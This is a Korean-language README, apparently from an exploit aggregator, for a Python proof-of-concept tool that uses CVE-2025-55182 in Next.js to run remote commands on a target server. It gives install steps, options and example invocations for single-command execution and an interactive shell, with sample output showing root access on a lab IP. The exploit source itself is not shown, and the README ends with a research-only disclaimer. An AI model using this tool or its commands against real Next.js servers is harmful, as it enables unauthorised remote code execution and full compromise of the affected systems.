Share
## https://sploitus.com/exploit?id=37AAE70B-D039-5A46-BBF3-C3A86661335B
# CVE-2025-55182 Next.js Exploit Tool

이 λ„κ΅¬λŠ” Next.js의 취약점(CVE-2025-55182)을 μ΄μš©ν•˜μ—¬ 원격 λͺ…λ Ή μ‹€ν–‰(RCE)을 μˆ˜ν–‰ν•˜λŠ” PoC(Proof of Concept) μŠ€ν¬λ¦½νŠΈμž…λ‹ˆλ‹€.
λŒ€μƒ μ„œλ²„μ˜ 취약점을 ν™•μΈν•˜κ³ , 단일 λͺ…λ Ήμ–΄ μ‹€ν–‰ λ˜λŠ” λŒ€ν™”ν˜• μ‰˜ λͺ¨λ“œλ₯Ό μ§€μ›ν•©λ‹ˆλ‹€.

## μ£Όμš” κΈ°λŠ₯

- **단일 λͺ…λ Ήμ–΄ μ‹€ν–‰**: ν•œ 번의 λͺ…λ Ήμ–΄λ₯Ό μ „μ†‘ν•˜κ³  κ²°κ³Όλ₯Ό ν™•μΈν•©λ‹ˆλ‹€.
- **λŒ€ν™”ν˜• μ‰˜ (Interactive Shell)**: 마치 터미널에 μ ‘μ†ν•œ κ²ƒμ²˜λŸΌ μ—°μ†μ μœΌλ‘œ λͺ…λ Ήμ–΄λ₯Ό μ‹€ν–‰ν•  수 μžˆμŠ΅λ‹ˆλ‹€.
- **κ²°κ³Ό νŒŒμ‹±**: Next.js의 λ³΅μž‘ν•œ μ—λŸ¬ μ‘λ‹΅μ—μ„œ λͺ…λ Ήμ–΄ μ‹€ν–‰ 결과만 κΉ”λ”ν•˜κ²Œ μΆ”μΆœν•˜μ—¬ λ³΄μ—¬μ€λ‹ˆλ‹€.
- **ν”„λ‘μ‹œ 지원**: Burp Suite 등을 ν†΅ν•œ 뢄석을 μœ„ν•΄ HTTP ν”„λ‘μ‹œ 섀정을 μ§€μ›ν•©λ‹ˆλ‹€.

## μ„€μΉ˜ 및 사전 μ€€λΉ„

이 μŠ€ν¬λ¦½νŠΈλŠ” Python 3둜 μž‘μ„±λ˜μ—ˆμœΌλ©°, λ‹€μŒ λΌμ΄λΈŒλŸ¬λ¦¬κ°€ ν•„μš”ν•©λ‹ˆλ‹€.

```bash
pip install requests rich
```
* `rich`: 컬러 좜λ ₯ 및 λŒ€ν™”ν˜• ν”„λ‘¬ν”„νŠΈλ₯Ό μœ„ν•΄ μ‚¬μš©λ©λ‹ˆλ‹€. (μ„€μΉ˜λ˜μ–΄ μžˆμ§€ μ•Šμ•„λ„ κΈ°λ³Έ κΈ°λŠ₯은 μž‘λ™ν•©λ‹ˆλ‹€.)

## μ‚¬μš© 방법

```bash
python poc.py -u  [μ˜΅μ…˜]
```

### ν•„μˆ˜ μ˜΅μ…˜

- `-u`, `--url`: λŒ€μƒ Next.js μ„œλ²„μ˜ URL (예: `http://192.168.10.92:3000`)

### μ‹€ν–‰ λͺ¨λ“œ (λ‘˜ 쀑 ν•˜λ‚˜ ν•„μˆ˜)

- `-c `, `--cmd `: μ‹€ν–‰ν•  단일 λͺ…λ Ήμ–΄ μ§€μ •
- `--shell`: λŒ€ν™”ν˜• μ‰˜ λͺ¨λ“œλ‘œ μ§„μž…

### μΆ”κ°€ μ˜΅μ…˜

- `-v`, `--verbose`: 상세 좜λ ₯ λͺ¨λ“œ (μ „μ†‘λ˜λŠ” νŽ˜μ΄λ‘œλ“œλ‚˜ 전체 응닡 확인 μ‹œ 유용)
- `-p `, `--proxy `: ν”„λ‘μ‹œ μ„œλ²„ μ„€μ • (예: `http://127.0.0.1:8080`)

## μ‚¬μš© μ˜ˆμ‹œ

### 1. 단일 λͺ…λ Ήμ–΄ μ‹€ν–‰ (`id` 확인)

```bash
python poc.py -u http://192.168.10.92:3000 -c "id"
```

### 2. λŒ€ν™”ν˜• μ‰˜ μ‹€ν–‰

```bash
python poc.py -u http://192.168.10.92:3000 --shell
```

**μ‹€ν–‰ ν™”λ©΄:**
```text
[+] λŒ€μƒ URL: http://192.168.10.92:3000
[*] λŒ€ν™”ν˜• μ‰˜ λͺ¨λ“œ μ‹œμž‘ ('exit' λ˜λŠ” 'quit'으둜 μ’…λ£Œ)
Shell> whoami
root
Shell> ls -la
total 64
drwxr-xr-x 1 node node 4096 Dec  8 06:12 .
...
```

### 3. ν”„λ‘μ‹œλ₯Ό ν†΅ν•œ νŠΈλž˜ν”½ 확인

```bash
python poc.py -u http://192.168.10.92:3000 --shell -p http://127.0.0.1:8080
```

## μ£Όμ˜μ‚¬ν•­

- 이 λ„κ΅¬λŠ” **λ³΄μ•ˆ 연ꡬ 및 ꡐ윑 λͺ©μ μœΌλ‘œλ§Œ μ‚¬μš©**ν•΄μ•Ό ν•©λ‹ˆλ‹€.
- ν—ˆκ°€λ°›μ§€ μ•Šμ€ μ‹œμŠ€ν…œμ— λŒ€ν•œ ν…ŒμŠ€νŠΈλŠ” λΆˆλ²•μ΄λ©°, 이에 λ”°λ₯Έ λͺ¨λ“  μ±…μž„μ€ μ‚¬μš©μžμ—κ²Œ μžˆμŠ΅λ‹ˆλ‹€.